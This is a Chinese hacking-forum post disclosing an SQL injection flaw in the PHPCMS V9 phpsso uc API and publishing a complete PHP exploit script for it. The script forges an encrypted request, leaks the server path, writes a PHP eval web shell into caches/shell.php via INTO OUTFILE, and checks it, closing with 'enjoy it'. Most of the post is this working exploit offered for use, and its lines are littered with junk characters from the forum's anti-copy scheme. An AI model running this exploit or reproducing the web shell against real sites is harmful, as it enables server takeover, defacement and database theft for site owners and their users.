找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1909|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。6 S+ Y& ?1 X3 }, O$ C, S" D

0 c+ h- i- M1 B7 x所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
# B$ O) t* `0 c$ c% g2 U7 c
2 x  J. a- B' c" H& N3 O4 s7 m+ g  p# u漏洞分析:: \3 D. }: R* w( x
1.未启用ucenter服务的情况下uc_key为空' {4 b! S2 s+ \( U, d5 x
define('UC_KEY', pc_base::load_config('system', 'uc_key'));" X5 n; b6 p3 h1 j. H$ L/ E/ P$ ]
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
3 }. ~) m( t6 Q7 Q! u. B2 R    public function deleteuser($get,$post) {
" w3 y  ?0 \; B: v3 e: A        pc_base::load_app_func('global', 'admin');
/ A+ `- N2 h6 }$ ^3 @3 U/ N& ^        pc_base::load_app_class('messagequeue', 'admin' , 0);1 \; v1 X' h8 ?, z* Z$ O
        $ids = new_stripslashes($get['ids']);
. f  h* d- g  I  U! d9 ^        $s = $this->member_db->select("ucuserid in ($ids)", "uid");- \4 Y2 m( _5 u
SQL语句为+ k  T2 @2 t4 Z$ t+ R; Q
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
/ J. B. R* h2 s  O
! Q9 x1 S# ~4 P0 u+ J利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
/ \0 O9 G) R7 s' {2 @$ p" S<?php9 ^4 S* z) K  F
print_r('1 e; u2 F/ y+ \
---------------------------------------------------------------------------
( H- L) ^% a! DPHPcms (v9 or Old Version) uc api sql injection 0day
$ H  w$ V( I2 Lby rayh4c#80sec.com
4 k. i% b9 P3 b. m- C, `---------------------------------------------------------------------------
& `' c! G! Y# B$ e');
4 `  r3 p% H# C% v7 s" n; y. B, D) ^- f+ U
if ($argc<3) {( x1 C1 z% c( t6 m
    print_r('$ T  J; M( t' `0 v! Z0 ^9 v
---------------------------------------------------------------------------
/ f& S; k; t2 ^$ F: QUsage: php '.$argv[0].' host path OPTIONS
' `7 ]5 B1 B7 z. x' W; ^9 Y1 Dhost:      target server (ip/hostname)
) g* ^" e0 F8 A; ?8 Q$ {6 vpath:      path to phpcms, V2 V* }8 ]+ A8 e
Options:4 B, M; ^% J) k) n
-p[port]:    specify a port other than 80
, ?, b0 E; Z7 {4 Q- ?/ I -P[ip:port]: specify a proxy
1 M9 Z! h. U6 s$ J, {& HExample:
+ Y+ R* L$ {# d' r1 s7 a7 Vphp '.$argv[0].' localhost /' s7 q7 w1 b( a: U
php '.$argv[0].' localhost /phpcms/ -p81
6 Y+ V- c# f3 q3 j4 Fphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:807 D! {( \  `9 }; C  `/ i+ B
---------------------------------------------------------------------------
! S0 V7 B* y5 J& Y" e');
' X: h' ?( y' w2 K    die;, ]# `5 g6 h* L  L9 e8 b# y1 p# _
}) x$ B6 E) j* _8 N* e3 r' W* Y
: s$ R2 E3 ]+ K2 u; m1 {
error_reporting(7);
1 p# Z2 ]8 h) E/ a1 zini_set("max_execution_time",0);
* a& b, K6 W- Nini_set("default_socket_timeout",5);
( U- R$ O* `# T$ O4 P
; ^9 M; G  Q: F8 I' R2 b& |, b# Xfunction quick_dump($string)
, k' C  o6 Z" F5 O' l4 c5 M( h  \8 T2 c{, z; ]7 Y0 p/ \8 V  \; j
  $result='';$exa='';$cont=0;
5 y1 z" p" |5 S$ ]% m. Z# S9 T  for ($i=0; $i<=strlen($string)-1; $i++)
2 G0 j& U* I: x3 g* z% T  {
) Q1 U( G5 r0 g7 T5 J( d   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))8 ^" i2 A4 A+ c% T! H
   {$result.="  .";}
, _9 J; T5 W$ {  \   else
3 q8 e  ?# ]* y  n: T* q' i   {$result.="  ".$string[$i];}9 n- O7 g3 g% @" d  b
   if (strlen(dechex(ord($string[$i])))==2)
$ B  X6 U4 `0 F7 s0 ]% V   {$exa.=" ".dechex(ord($string[$i]));}4 K8 O; Z2 c0 _4 F% v# ]$ x
   else
( @/ M  [( E! s5 a/ N   {$exa.=" 0".dechex(ord($string[$i]));}
- a" m% L6 P+ E; R8 T- h$ b   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ s3 @. D' {. l  Y+ A! ?  }; t+ B2 n( S  k
return $exa."\r\n".$result;
2 E/ g  X( i* U0 W: o, g( T}
3 O% i$ w2 u  {& ^" Y$ ?% P$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
: ^- y( U0 X( C  K4 ?" p
7 x- _. {2 Y7 d- l% Gfunction send($packet)+ Q, j( o2 X5 {5 E0 J- T! a
{
7 q% L! v4 @) p" u# Z* h0 w  global $proxy, $host, $port, $html, $proxy_regex;: K7 F- S) n# W+ {+ }
  if ($proxy=='') {
$ c8 }' J/ p1 m) b- p3 {    $ock=fsockopen(gethostbyname($host),$port);+ p+ U3 u% M" h* a& Z$ B$ O
    if (!$ock) {" ~) Q  x$ Q$ h$ M4 s2 m$ X! a- x( l7 `
      echo 'No response from '.$host.':'.$port; die;: ~  \9 Q9 N5 m5 H4 e
    }
( M) i7 t) `1 G9 E9 J. H  }- |# z/ F8 j/ P4 C3 \6 K
  else {
9 j7 q- O3 h4 m! h( I' i/ ^        $c = preg_match($proxy_regex,$proxy);  ^9 B& }9 x" d* t9 S1 A3 `
    if (!$c) {
$ ?/ w2 ~& G! ~- C      echo 'Not a valid proxy...';die;
2 u0 u2 q) p- e3 R( P6 ^    }- c% u6 E: e' j1 [% X8 C0 |- v
    $parts=explode(':',$proxy);
* a$ \, |1 K8 A+ t4 A    $parts[1]=(int)$parts[1];% D5 x) r: l7 J- n, X6 Z
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
% S( g0 s5 t. s    $ock=fsockopen($parts[0],$parts[1]);
2 Z' T8 |% E" S! B4 k    if (!$ock) {
" W# q1 Z. @3 @8 q: c0 ~      echo 'No response from proxy...';die;
8 @3 r5 \* `0 U9 F% C( y        }
( v5 b( g$ T* m) Y8 c! S  }
9 k4 o  R+ ^8 Y0 O/ D1 k  fputs($ock,$packet);: f: m- q1 t/ s
  if ($proxy=='') {
; T- v8 r: |6 T& k$ P8 F3 P7 h    $html='';
( e8 W3 _* F4 e/ h4 c    while (!feof($ock)) {
# r4 B3 R# W* w2 E3 W1 q      $html.=fgets($ock);# }  c  _1 i* ~9 M. p( |
    }
& }8 A6 n  g4 a3 ~" Y; w* K  }
7 ]: N& m- f- ~  else {" A' o- p( f: O0 E# Q  a; P
    $html='';
, }/ ^7 l# Q9 O    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {0 ~# h3 X# W- Z8 d; ?
      $html.=fread($ock,1);9 w2 M. K- z3 S5 F' }- I
    }
0 t! p0 ^! s7 G+ R  }
. S1 H4 Z% q4 Z5 ~$ j- x' Q1 q( F  fclose($ock);6 k2 j5 {* C: S% n$ Y" k
}$ _0 Y9 Z  O+ O; o5 f

3 W/ o% j( b% T7 N& Q$host=$argv[1];- d( Q. q2 w. T+ m, s) T
$path=$argv[2];$ ^. I% S/ ?- S! d) o+ \
$port=80;/ ]' c6 u& b# b% Q4 e0 V/ ~
$proxy="";7 q$ Z0 [, Z4 ^
for ($i=3; $i<$argc; $i++){$ C. p( m  u9 S2 ^) A# q
$temp=$argv[$i][0].$argv[$i][1];
; `. q1 J1 g7 l1 [6 pif ($temp=="-p")8 L1 w3 {1 n; L; j% m! L
{  }$ o+ b7 F$ A  L9 y9 ]2 h
  $port=(int)str_replace("-p","",$argv[$i]);5 C% N' @# P3 {
}2 O& h8 ?. i, j8 X1 u
if ($temp=="-P")
  e; _. a  t$ n{: S# f7 G: L6 q3 N# Z6 R
  $proxy=str_replace("-P","",$argv[$i]);% D: t( q0 i% x) k6 V
}
$ E; R% Z) w0 N}
; f' F+ i; m9 ]% O/ i' y6 [* S  j& b/ {$ @; Z; R& q7 q
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
5 F4 S* p6 l. |& K; tif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}* t9 C. P7 V) v- y4 H, c
) Z) p2 s6 R4 w7 N' Y: \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {, q7 A% s) B+ D* `+ B) s

( z9 E5 k# V2 j1 Q    $ckey_length = 4;
, G: K5 n+ C8 ?5 G# ~; x) q; ^" _: H9 j- W8 N
    $key = md5($key ? $key : '');5 r2 u) e! r' t# g# e
    $keya = md5(substr($key, 0, 16));3 i+ m3 t  J) J: e) h
    $keyb = md5(substr($key, 16, 16));
" L; {6 A" b0 H6 o( q    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';+ P4 i3 M. y+ T2 M2 D

9 S4 A$ r' x# z  u: k3 w6 E9 @    $cryptkey = $keya.md5($keya.$keyc);6 z4 x3 W" |) ]) Z# s; w7 B6 C* t
    $key_length = strlen($cryptkey);4 f' A2 G; |/ z

+ j+ p4 G' L6 f& ?0 ~, O! Q    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
3 j; Q$ P( a3 g7 y" T    $string_length = strlen($string);
$ H; S% n0 ~1 [& ]. |7 p
0 Y* X6 {) w- J4 j    $result = '';9 t; s2 Z3 p  X' t# ^' a+ X/ w5 \, T( L
    $box = range(0, 255);& P' }( X9 |: B& K: K* \# r! u/ J

# r5 n$ g/ i5 j6 V    $rndkey = array();
0 H* y' u! k' h7 K$ w    for($i = 0; $i <= 255; $i++) {
+ d$ e) D) }, E) }        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
2 W- ^9 n$ j) i7 G1 D' A    }
6 F) y5 y' o( _* j9 D6 _5 h( N+ I1 f9 J5 T: a5 p9 g1 m
    for($j = $i = 0; $i < 256; $i++) {' _8 O+ k9 |. W- I. e8 u2 p+ z
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 V- L3 q% e& b, h6 ?1 U& G. g' ?        $tmp = $box[$i];9 l8 J4 T( W& @: E/ g
        $box[$i] = $box[$j];
9 u. b9 {& ]( I        $box[$j] = $tmp;
# _- j7 W! }: p" |# q( Q: M$ _    }
' |* Y1 ?, R+ @3 c" ?7 ~* \9 _! ?6 R' }& V: X
    for($a = $j = $i = 0; $i < $string_length; $i++) {. j* u! R8 ^+ K/ f% w2 \
        $a = ($a + 1) % 256;1 V8 O" M2 `% Z9 `6 a( C$ S
        $j = ($j + $box[$a]) % 256;% s! g& H9 `4 B1 S3 e- ?. A
        $tmp = $box[$a];
+ I6 d4 R, W. B9 m" ~        $box[$a] = $box[$j];  l$ J+ R0 B: H# ~: I. a3 `
        $box[$j] = $tmp;
+ D' Q$ g1 S" ?4 [: S3 _1 G6 s# }; l        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
7 y% {* G' p! p" p% \& W    }
* b3 V1 S  C9 [9 c/ C9 F
2 K7 I) u' X, a/ F* x9 u2 |) s& J8 F    if($operation == 'DECODE') {# u5 W4 s. B* h" m: `9 }5 w; ^
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {$ x1 }" v0 @7 k+ c5 z  M; K
            return substr($result, 26);
* U0 z; N0 q* O( |        } else {
% b7 ?; i, k6 J0 W; p4 @* I            return '';. t. x& I# |. h* s! o# R0 K, ^
        }9 D! f& _3 A4 w
    } else {" r% R- C4 ~1 P0 G4 {6 `6 Y3 f/ L
        return $keyc.str_replace('=', '', base64_encode($result));
3 w/ A$ e: U% m. r6 `2 M- D    }4 M1 y4 H" p6 G  O" k
& c' T/ t' I( ~) X
}
  g( Q4 r$ x1 g' m5 d: \4 p0 A) j* Z% t
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
* n& G% W7 ~7 D0 Q& U9 Y; o) ^$SQL = urlencode(authcode($SQL, "ENCODE", ""));+ I) L9 l* F6 [$ [
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
  H% F- e# W" i( e% }. _+ t$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 O; n0 f+ R% @- P+ s$packet.="User-Agent: Mozilla/5.0\r\n";! q( j9 t% H6 P1 S
$packet.="Host: ".$host."\r\n";
$ s4 C* m6 w3 B6 ?$ B4 a* d$packet.="Connection: Close\r\n\r\n";
5 q% c) y' Y7 k, D2 [  ~4 Zsend($packet);! G0 u) N$ |! t7 u+ Q4 R9 D3 K& k; A
if(strpos($html,"MySQL Errno") > 0){
4 o3 ?. z# A$ L! Cecho "[2] 发现存在SQL注入漏洞"."\n";9 e1 t5 h6 R6 e' a, \
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";) j3 P# M/ {6 c  c
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";0 X, x$ o/ H0 Z6 P
$packet.="User-Agent: Mozilla/5.0\r\n";! x* k3 J' b, W3 F" ?+ G) s" s
$packet.="Host: ".$host."\r\n";
: Y% K! ]2 J. d# r, S/ w: T$packet.="Connection: Close\r\n\r\n";
* K5 Q  ]1 M2 Z! Z; ]send($packet);
- K) d8 g- _" O" f9 T: fpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
% b. b' r% p% ~8 \4 L//print_r($matches);
" m& j3 w* p* v9 h' xif(!empty($matches)){% N* S& ~; k) S
echo "[4] 得到web路径 " . $matches[0]."\n";
! Z8 ~! _: o1 Cecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
* K# M3 [# k  |: \+ @$SQL = "time=999999999999999999999999&ids=1)";
$ K' P6 m. H/ o3 g; J- Q$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
1 h* Z, d, S0 q/ B0 G2 v! X$SQL.="&action=deleteuser";
/ G: }/ C5 M8 j. U3 n, R1 Z$SQL = urlencode(authcode($SQL, "ENCODE", ""));
/ W2 Q" u5 x: d- x7 r& \echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
1 J& x  @3 u5 v  c+ u- Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";8 }0 ?( o+ o; _
$packet.="User-Agent: Mozilla/5.0\r\n";" L0 A/ _& X3 |( F6 c2 T* \) z
$packet.="Host: ".$host."\r\n";0 y2 d  m0 k1 |, E) L
$packet.="Connection: Close\r\n\r\n";
+ p8 k6 q; N4 Z) g% r' csend($packet);5 O/ o/ z( O( V0 g6 G" d
if(strpos($html,"Access denied") > 0){/ W' c6 J9 w" {6 ^1 Y) `$ I8 ~% f
echo "[-] MYSQL权限过低 禁止写入文件 ";( [: y% I9 n4 n. D
die;
/ `. v" S3 e% e( H- ^}
$ \9 o  t5 Z8 h+ c  e; |5 u8 Iecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
6 |* ]7 c% Z( r$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
! |2 ]% [9 @2 m8 X0 m$packet.="User-Agent: Mozilla/5.0\r\n";
$ K$ f) e0 f+ \& I8 [  W8 ^8 L5 l$packet.="Host: ".$host."\r\n";# H% M# j5 {7 H) z! ]& l
$packet.="Connection: Close\r\n\r\n";
: u) L8 A8 l- N! M. A2 v% Q; J) Dsend($packet);
9 Q. O8 \% {( W- s7 k/ @; r# uif(strpos($html,"<title>phpinfo()</title>") > 0){3 t6 v* V, s! g& T4 z$ _1 e
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
& ~! n$ a# j: E/ {  M}
3 z! |# h/ i! U/ y$ Y# V}else{: i  W+ S* E# z* b
echo "[-]未取到web路径 ";9 q* r0 W; j+ A* H
}
- U9 Q7 ?+ e* ^% ]}else{6 X4 b! W/ b) p0 D! [
echo "[*]不存在SQL注入漏洞"."\n";
5 E& Q0 c8 B) ~' Z}
/ a4 u- I2 H' l- C/ H- o, e
- A3 J' U1 l( x. Y?>
9 }1 F6 _; q/ J6 O( C# N! E* P/ ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表